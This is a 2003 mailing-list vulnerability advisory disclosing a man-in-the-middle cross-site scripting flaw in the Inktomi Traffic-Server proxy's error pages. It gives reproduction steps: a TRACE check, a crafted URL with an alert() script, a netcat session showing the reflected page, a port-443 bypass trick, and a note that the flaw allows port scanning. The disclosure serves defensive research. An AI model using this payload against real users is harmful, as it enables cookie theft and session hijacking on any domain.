Inktomi Traffic-Server XSS: man-in-the-middle XSS !

From: Hugo (overclocking_a_la_abuelaat_private)
Date: Wed May 14 2003 - 02:42:57 PDT

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     ('binary' encoding is not supported, stored as-is)
    Please we would like that credits of this vulnerability go to INFOHACKING 
    (Hugo Vázquez Caramés and Toni Cortés Martinez). Actually we work 
    at "Secdor R&D". The vulnerabily was found, once again, during a pen-test.
    
    ######################################################################
    		INKTOMI Traffic-Server XSS 
    ######################################################################
    
    We have just discovered a bug in a software called "Inktomi Traffic-
    Server", this is a proxy cache server used by Large ISPs and Backbone 
    Providers to increase speed of web surfing. The software seems to have 
    been adquired by WebSense,but there's not too much public info about this. 
    We don`t know who is responsabile for this software.  
    
    THE PROBLEM (Tested on Traffic-Server 5.5.1 used by Telefónica in Spain)
    
    A special request by a client passing through the Inktomi Traffic-Server 
    causes an error page generated by the proxy. This dinamic error page is 
    vulnerable to Cross Site Scriptting... The really important thing is that 
    the client making the request IS UNABLE to distinguish what  domain 
    generated this code... so the XSS on this proxy makes vulnerable any 
    client going trough it. Indirectly any server whose clients come trough 
    the Traffic-Server and using cookies to track sessions are "vulnerable".
    The Inktommi's Traffic-Server is used at our country (Spain) by 
    Telefonica, friendly known as "Timofonica", but also on many other places 
    in the world, nowadays more and more providers are using this software. 
    Many, many people, is affected by this problem.
    
    --How to reproduce--
    
    With a web client:
    
    1) First you need a client that is going through a Traffic-Server. You can 
    check it making an http TRACE request to a server that supports this 
    method.If you see a response like this:
    
    HTTP/1.0 200 OK
    Date: Wed, 14 May 2003 07:31:13 GMT
    Server: XXXXXX
    Content-Type: message/http
    Age: 1523
    
    TRACE / HTTP/1.0
    Client-ip: XXXXXXXXXXXX
    X-Forwarded-For: XXXXXXXXXXXX
    Connection: keep-alive
    Via: HTTP/1.0 proxy[AC1EF246] (Traffic-Server/5.5.1-58900 [uSc ])
    Host: XXXXXXXXXXXX
    
    your http traffic is being proxyfied by a Traffic-Server.
    
    Configure this client to use a proxy* (any IP on port 80) on the other 
    side of the Traffic-Server.
    *(It is not necessary that the proxy exists: the request will be grapped 
    by the Trafiic-Server)
    
    2) Make a request like this:
    
    http://>:443/</em>&lt;script&gt;alert()&lt;/script&gt;
    
    You will see the script executed on your browser!
    
    Manually:
    
    C:\>nc -v -v <spoofed_domain> 80
    <spoofed_domain>: inverse host lookup failed: h_errno 11004: NO_DATA
    (UNKNOWN) [<spoofed_domain>] 80 (http) open
    
    GET http://>:443/</em>&lt;script&gt;alert()&lt;/script&gt;
    <HEAD><TITLE>Access Denied</TITLE></HEAD>
    <BODY BGCOLOR="white" FGCOLOR="black"><H1>Access Denied</H1><HR>
    <FONT FACE="Helvetica,Arial"><B>
    Description: You are not allowed to access the document at 
    location "<em>http://>:443/</em>&lt;script&gt;alert()
    &lt;/script&gt;</em>".</B></FONT>
    <HR>
    <!-- default "Access Denied" response (403) -->
    </BODY>
     sent 61, rcvd 350: NOTSOCK
    
    
    As you can see the error page is not generated by the final server, 
    instead is the Traffic-Server the one who generates this error. The BIG 
    problem here is that the client believes the response page generated comes 
    from the <spoofed_domain>... this makes posible to exploit this flaw to 
    steal cookies of ANY (yes any) domain...
    This is like a "man in the middle" attack...a new way of taking advantage 
    of XSS... probably more devices working as "transparent" proxys will be 
    affected in the future by similar flaws...and exposing clients and servers.
    
    
    The trick of the exploit is that the socket opened is on port 80 to force 
    the proxy to capture the connection, then you have to request an URL to an 
    open port other than 80, for example 25. If the port is open on the final 
    server, the Traffic-Server will respond with the error page, if the port 
    is closed, the connection will time out (so this method can also be used 
    to port scan from a Traffic-Server). Now there's the challenge to make it 
    work on a server with only port 80 open... Once again it seems that 
    there's a trick to bypass this restriction: using port 443. As far we 
    could test, for resquests on port 443, the proxy does not check if that 
    port is opened on the final target, so the best way to exploit this is 
    using the port 443.
    
    A screenshoot of our exploit working against Hotmail will be available at 
    http://www.infohacking.com. This can be extented to any domain. E-
    commerce/Home-Banking are probably the most affected scenarios.
    
    Regards,
    
    "We would like to dedicate this research to all the people in spain that 
    have been affected by those inconvinient devices."
    "Nos gustaria dedicar esta investigación a todos aquellos usuarios que se 
    han visto afectados por los jodidos proxys de Telefónica"
    
    Hugo Vázquez Caramés & Toni Cortés Martínez 
    INFOHACKING RESEARCH 2003
    www.infohacking.com
    Barcelona (SPAIN)
    (We are working at Secdor R&D)
    



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